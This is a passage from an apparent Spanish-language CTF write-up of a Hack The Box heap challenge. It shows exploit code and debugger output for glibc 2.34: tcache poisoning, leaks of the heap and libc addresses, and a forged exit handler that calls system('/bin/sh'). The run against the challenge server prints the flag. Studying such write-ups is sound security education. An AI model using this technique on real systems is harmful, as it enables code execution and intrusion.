) para poder mostrarlo (las strings en C terminan en byte nulo).
Una vez que tenemos esta dirección base del heap, podemos modificar el crsid
para que apunte al chunk del Small Bin (dirección base del heap más 0x2a0
), de manera que podamos fugar Glibc de forma similar:
change(p, p64(heap_base_addr + 0x2a0))
edit(p, 12, b'A')
main_arena_addr = u64(show(p, 12).replace(b'A', b'\0').ljust(8, b'\0')) - 160
glibc.address = main_arena_addr - glibc.sym.main_arena
log.success(f'Glibc base address: {hex(glibc.address)}')
$ python3 solve.py
[*] './crsid'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './crsid': pid 977485
[*] running in new terminal: ['/usr/bin/gdb', '-q', './crsid', '977485', '-x', '/tmp/pwnwu1c1ein.gdb']
[+] Waiting for debugger: Done
[+] Heap base address: 0x5569130e9000
[+] Glibc base address: 0x7f83f9b54000
[*] Switching to interactive mode
=========================
[1] Create username
[2] Delete username
[3] Edit username
[4] Show username
[5] Change your CRSid
[6] Exit
=========================
[#] $
Reading symbols from ./crsid...
(No debugging symbols found in ./crsid)
Attaching to program: ./crsid, process 977485
Reading symbols from ./glibc/libc.so.6...
Reading symbols from ./glibc/ld-2.34.so...
0x00007f83f9c4d5ce in __GI___libc_read (fd=0, buf=0x5569116230c0, nbytes=32) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
^C
Program received signal SIGINT, Interrupt.
0x00007f83f9c4d5ce in __GI___libc_read (fd=0, buf=0x7f83f9d40b03 <_IO_2_1_stdin_+131>, nbytes=1) at ../sysdeps/unix/sysv/linux/read.c:26
26 in ../sysdeps/unix/sysv/linux/read.c
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x55691161f000 0x556911620000 r--p 1000 0 ./crsid
0x556911620000 0x556911621000 r-xp 1000 1000 ./crsid
0x556911621000 0x556911622000 r--p 1000 2000 ./crsid
0x556911622000 0x556911623000 r--p 1000 2000 ./crsid
0x556911623000 0x556911624000 rw-p 1000 3000 ./crsid
0x5569130e9000 0x55691310a000 rw-p 21000 0 [heap]
0x7f83f9b51000 0x7f83f9b54000 rw-p 3000 0 [anon_7f83f9b51]
0x7f83f9b54000 0x7f83f9b80000 r--p 2c000 0 ./glibc/libc.so.6
0x7f83f9b80000 0x7f83f9ce7000 r-xp 167000 2c000 ./glibc/libc.so.6
0x7f83f9ce7000 0x7f83f9d3c000 r--p 55000 193000 ./glibc/libc.so.6
0x7f83f9d3c000 0x7f83f9d3d000 ---p 1000 1e8000 ./glibc/libc.so.6
0x7f83f9d3d000 0x7f83f9d40000 r--p 3000 1e8000 ./glibc/libc.so.6
0x7f83f9d40000 0x7f83f9d43000 rw-p 3000 1eb000 ./glibc/libc.so.6
0x7f83f9d43000 0x7f83f9d52000 rw-p f000 0 [anon_7f83f9d43]
0x7f83f9d52000 0x7f83f9d53000 r--p 1000 0 ./glibc/ld-2.34.so
0x7f83f9d53000 0x7f83f9d77000 r-xp 24000 1000 ./glibc/ld-2.34.so
0x7f83f9d77000 0x7f83f9d81000 r--p a000 25000 ./glibc/ld-2.34.so
0x7f83f9d81000 0x7f83f9d83000 r--p 2000 2e000 ./glibc/ld-2.34.so
0x7f83f9d83000 0x7f83f9d85000 rw-p 2000 30000 ./glibc/ld-2.34.so
0x7ffe2b384000 0x7ffe2b3a5000 rw-p 21000 0 [stack]
0x7ffe2b3ea000 0x7ffe2b3ee000 r--p 4000 0 [vvar]
0x7ffe2b3ee000 0x7ffe2b3f0000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
De nuevo, todo parece correcto. Ahora tenemos todas las direcciones necesarias para continuar con la explotación.
Explotación del Tcache
Lo siguiente que tenemos que conseguir es el Tcache poisoning. Para ello, vamos a vaciar el Tcache:
for i in range(7):
create(p)
Y ya tenemos el Tcache vacío y estos punteros en users
y crsid
:
$ python3 solve.py
[*] './crsid'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './crsid': pid 984349
[*] running in new terminal: ['/usr/bin/gdb', '-q', './crsid', '984349', '-x', '/tmp/pwnjz4wily7.gdb']
[+] Waiting for debugger: Done
[+] Heap base address: 0x555637f8e000
[+] Glibc base address: 0x7f5479945000
[*] Switching to interactive mode
A new username appeared!
=========================
[1] Create username
[2] Delete username
[3] Edit username
[4] Show username
[5] Change your CRSid
[6] Exit
=========================
[#] $
Reading symbols from ./crsid...
(No debugging symbols found in ./crsid)
Attaching to program: ./crsid, process 984349
Reading symbols from ./glibc/libc.so.6...
Reading symbols from ./glibc/ld-2.34.so...
0x00007f5479a3e5ce in __GI___libc_read (fd=0, buf=0x555636f9c0c0, nbytes=32) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
^C
Program received signal SIGINT, Interrupt.
0x00007f5479a3e5ce in __GI___libc_read (fd=0, buf=0x7f5479b31b03 <_IO_2_1_stdin_+131>, nbytes=1) at ../sysdeps/unix/sysv/linux/read.c:26
26 in ../sysdeps/unix/sysv/linux/read.c
pwndbg> bins
tcachebins
empty
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> x/20gx &stderr
0x555636f9c040 <stderr>: 0x00007f8fbb275680 0x0000000000000000
0x555636f9c050: 0x0000000000000000 0x0000000000000000
0x555636f9c060: 0x0000555637f8e2f0 0x0000555637f8e340
0x555636f9c070: 0x0000555637f8e390 0x0000555637f8e3e0
0x555636f9c080: 0x0000555637f8e430 0x0000555637f8e480
0x555636f9c090: 0x0000555637f8e4d0 0x0000555637f8e2a0
0x555636f9c0a0: 0x0000000000000000 0x0000000000000000
0x555636f9c0b0: 0x0000000000000000 0x0000000000000000
0x555636f9c0c0: 0x0000555637f8e2a0 0x0000000000000000
0x555636f9c0d0: 0x0000000000000000 0x0000000000000000
Nótese que el índice 7
apunta al mismo chunk que el crsid
. Por tanto, podemos liberarlo y modificar el puntero fd
usando el índice 12
(crsid
), que es una primitiva de Write After Free.
En otros retos de heap, en este punto pondríamos la dirección de __malloc_hook
o __free_hook
en el puntero fd
, de manera que crearíamos un chunk ahí y podríamos añadir datos a los hooks. Desafortunadamente, Glibc 2.34 no utiliza hooks para prevenir este tipo de exploits.
Exit handlers
Por tanto, tenemos que encontrar otra técnica para conseguir ejecución de comandos. Realizando un poco de investigación sobre maneras de vulnerar Glibc 2.34, encontré Aero CTF 2022. En este write-up se utiliza una técnica para introducir una función maliciosa en la lista __exit_funcs
, de forma que al llamar a exit
, el programa ejecuta la función maliciosa (por ejemplo, system("/bin/sh")
). Más información aquí.
Esta técnica requiere una fuga de memoria de la función de salida legítima. Esta dirección está cifrada con XOR y rotaciones de bits. Las siguientes funciones lambda
(adaptadas del write-up anterior) son necesarias para descifrar la dirección real:
rol = lambda val, r_bits, max_bits: \
(val << r_bits % max_bits) & (2 ** max_bits - 1) | \
((val & (2 ** max_bits - 1)) >> (max_bits - (r_bits % max_bits)))
ror = lambda val, r_bits, max_bits: \
((val & (2 ** max_bits - 1)) >> r_bits % max_bits) | \
(val << (max_bits - (r_bits % max_bits)) & (2 ** max_bits - 1))
encrypt = lambda value, key: rol(value ^ key, 0x11, 64)
Estas son las direcciones relevantes:
pwndbg> x/gx &__exit_funcs
0x7f5479b31818 <__exit_funcs>: 0x00007f5479b33bc0
pwndbg> x/10gx 0x00007f5479b33bc0
0x7f5479b33bc0 <initial>: 0x0000000000000000 0x0000000000000001
0x7f5479b33bd0 <initial+16>: 0x0000000000000004 0xbf6103b40d295794
0x7f5479b33be0 <initial+32>: 0x0000000000000000 0x0000000000000000
0x7f5479b33bf0 <initial+48>: 0x0000000000000000 0x0000000000000000
0x7f5479b33c00 <initial+64>: 0x0000000000000000 0x0000000000000000
pwndbg> p initial
$1 = {
next = 0x0,
idx = 1,
fns = {{
flavor = 4,
func = {
at = 0xbf6103b40d295794,
on = {
fn = 0xbf6103b40d295794,
arg = 0x0
},
cxa = {
fn = 0xbf6103b40d295794,
arg = 0x0,
dso_handle = 0x0
}
}
}, {
flavor = 0,
func = {
at = 0x0,
on = {
fn = 0x0,
arg = 0x0
},
cxa = {
fn = 0x0,
arg = 0x0,
dso_handle = 0x0
}
}
} <repeats 31 times>}
}
Podemos obtener los offsets de estas direcciones:
$ python3 -q
>>> hex(0x7f5479b31818 - 0x7f5479945000)
'0x1ec818'
>>> hex(0x00007f5479b33bc0 - 0x7f5479945000)
'0x1eebc0'
Y el exit handler que se llama legítimamente es _dl_fini
(cifrado como 0xbf6103b40d295794
), cuya dirección real puede verse una vez que se llama, porque no se publica hasta el proceso de salida:
$ python3 solve.py
[*] './crsid'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './crsid': pid 1002383
[*] running in new terminal: ['/usr/bin/gdb', '-q', './crsid', '1002383', '-x', '/tmp/pwnw5eak7gl.gdb']
[+] Waiting for debugger: Done
[+] Heap base address: 0x555c0fed2000
[+] Glibc base address: 0x7f3e4a692000
[*] Switching to interactive mode
A new username appeared!
=========================
[1] Create username
[2] Delete username
[3] Edit username
[4] Show username
[5] Change your CRSid
[6] Exit
=========================
[#] $ 6
[*] Got EOF while reading in interactive
$
Reading symbols from ./crsid...
(No debugging symbols found in ./crsid)
Attaching to program: ./crsid, process 1002383
Reading symbols from ./glibc/libc.so.6...
Reading symbols from ./glibc/ld-2.34.so...
0x00007f3e4a78b5ce in __GI___libc_read (fd=0, buf=0x555c0fa860c0, nbytes=32) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
[Inferior 1 (process 1002383) exited normally]
pwndbg> p _dl_fini
$1 = {void (void)} 0x7f3e4a8a0350 <_dl_fini>
Y este es el offset:
$ python3 -q
>>> hex(0x7f3e4a8a0350 - 0x7f3e4a692000)
'0x20e350'
Una vez que tenemos estas direcciones, necesitamos fugar la función de salida original (cifrada) para obtener la clave de cifrado. Esto se puede hacer mediante Tcache poisoning. Nótese que el nuevo puntero fd
tiene que estar ofuscado debido a safe-linking:
__exit_funcs = glibc.address + 0x1ec818
exit_handler_addr = glibc.address + 0x1eebc0
_dl_fini = glibc.address + 0x20e350
log.info(f'__exit_funcs address: {hex(__exit_funcs)}')
log.info(f'Original exit handler address: {hex(exit_handler_addr)}')
log.info(f'_dl_fini address: {hex(_dl_fini)}')
delete(p, 1)
delete(p, 7)
edit(p, 12, p64(obfuscate(exit_handler_addr, heap_base_addr)))
create(p)
create(p)
edit(p, 7, b'A' * 24)
encrypted_function = u64(show(p, 7)[24:])
key = ror(encrypted_function, 0x11, 64) ^ _dl_fini
log.info(f'Encrypted function: {hex(encrypted_function)}')
log.info(f'Encryption key: {hex(key)}')
log.info(f'Sanity check: {hex(encrypt(_dl_fini, key))}')
Para la fuga de memoria, necesitamos editar el exit handler initial
para sobrescribirlo los bytes nulos y poder fugar la función _dl_fini
. Como comprobación, podemos cifrarla de nuevo con la misma clave de cifrado:
$ python3 solve.py
[*] './crsid'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './crsid': pid 1010243
[*] running in new terminal: ['/usr/bin/gdb', '-q', './crsid', '1010243', '-x', '/tmp/pwnh755srzo.gdb']
[+] Waiting for debugger: Done
[+] Heap base address: 0x55baf8a08000
[+] Glibc base address: 0x7fb3cbbdd000
[*] __exit_funcs address: 0x7fb3cbdc9818
[*] Original exit handler address: 0x7fb3cbdcbbc0
[*] _dl_fini address: 0x7fb3cbdeb350
[*] Encrypted function: 0xf1d7f8de6d77d8cd
[*] Encryption key: 0xec66875837b185eb
[*] Sanity check: 0xf1d7f8de6d77d8cd
[*] Switching to interactive mode
=========================
[1] Create username
[2] Delete username
[3] Edit username
[4] Show username
[5] Change your CRSid
[6] Exit
=========================
[#] $
Reading symbols from ./crsid...
(No debugging symbols found in ./crsid)
Attaching to program: ./crsid, process 1010243
Reading symbols from ./glibc/libc.so.6...
Reading symbols from ./glibc/ld-2.34.so...
0x00007fb3cbcd65ce in __GI___libc_read (fd=0, buf=0x55baf6eb40c0, nbytes=32) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
^C
Program received signal SIGINT, Interrupt.
0x00007fb3cbcd65ce in __GI___libc_read (fd=0, buf=0x7fb3cbdc9b03 <_IO_2_1_stdin_+131>, nbytes=1) at ../sysdeps/unix/sysv/linux/read.c:26
26 in ../sysdeps/unix/sysv/linux/read.c
pwndbg> x/6gx &initial
0x7fb3cbdcbbc0 <initial>: 0x4141414141414141 0x4141414141414141
0x7fb3cbdcbbd0 <initial+16>: 0x4141414141414141 0xf1d7f8de6d77d8cd
0x7fb3cbdcbbe0 <initial+32>: 0x0000000000000000 0x0000000000000000
Y todo parece correcto. Ahora tenemos que diseñar un payload para falsificar una función exit_handler (cifrando la dirección). Nótese que podemos usar system
como función y "/bin/sh"
como primer argumento:
payload = p64(0)
payload += p64(1)
payload += p64(4)
payload += p64(encrypt(glibc.sym.system, key))
payload += p64(next(glibc.search(b'/bin/sh')))
También, este es el vector de users
:
pwndbg> x/20gx &stderr
0x556e3bbd5040 <stderr>: 0x00007fb3cbdca680 0x0000000000000000
0x556e3bbd5050: 0x0000000000000000 0x0000000000000000
0x556e3bbd5060: 0x000055baf8a082f0 0x000055baf8a082a0
0x556e3bbd5070: 0x000055baf8a08390 0x000055baf8a083e0
0x556e3bbd5080: 0x000055baf8a08430 0x000055baf8a08480
0x556e3bbd5090: 0x000055baf8a084d0 0x00007fb3cbdcbbc0
0x556e3bbd50a0: 0x0000000000000000 0x0000000000000000
0x556e3bbd50b0: 0x0000000000000000 0x0000000000000000
0x556e3bbd50c0: 0x000055baf8a082a0 0x0000000000000000
0x556e3bbd50d0: 0x0000000000000000 0x0000000000000000
Finalmente, necesitamos escribir el payload en un chunk (sabemos la dirección exacta) y realizar otro ataque de Tcache poisoning para escribir esta dirección en la lista __exit_funcs
(el índice 1
y el 12
del vector users
apuntan al mismo chunk). Para desencadenar el ataque, simplemente tenemos que salir del programa:
payload_pointer = heap_base_addr + 0x2f0
delete(p, 2)
delete(p, 1)
edit(p, 12, p64(obfuscate(__exit_funcs - 8, heap_base_addr)))
create(p)
create(p)
edit(p, 2, p64(0) + p64(payload_pointer))
p.sendlineafter(b'[#] ', b'6')
p.interactive()
$ python3 solve.py
[*] './crsid'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './crsid': pid 1022768
[+] Heap base address: 0x55f7bb0f9000
[+] Glibc base address: 0x7fa8ff28a000
[*] __exit_funcs address: 0x7fa8ff476818
[*] Original exit handler address: 0x7fa8ff478bc0
[*] _dl_fini address: 0x7fa8ff498350
[*] Encrypted function: 0x30c6a2802fa23f4c
[*] Encryption key: 0x1fa667cbae099481
[*] Sanity check: 0x30c6a2802fa23f4c
[*] Switching to interactive mode
$ ls
crsid glibc solve.py
Flag
Y funciona bien en local. Vamos a probar en remoto:
$ python3 solve.py 159.65.83.93:31667
[*] './crsid'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Opening connection to 159.65.83.93 on port 31667: Done
[+] Heap base address: 0x55b95c204000
[+] Glibc base address: 0x7fb89c8eb000
[*] __exit_funcs address: 0x7fb89cad7818
[*] Original exit handler address: 0x7fb89cad9bc0
[*] _dl_fini address: 0x7fb89caf9350
[*] Encrypted function: 0x8ce2b8ac78fe460f
[*] Encryption key: 0x2307b9c9c0f9af2f
[*] Sanity check: 0x8ce2b8ac78fe460f
[*] Switching to interactive mode
$ ls
crsid
flag.txt
glibc
$ cat flag.txt
HTB{L1bC-2.34,S4f3_l1nKinG_4nD_O0B-g0_brrr}
El exploit completo se puede encontrar aquí: solve.py
.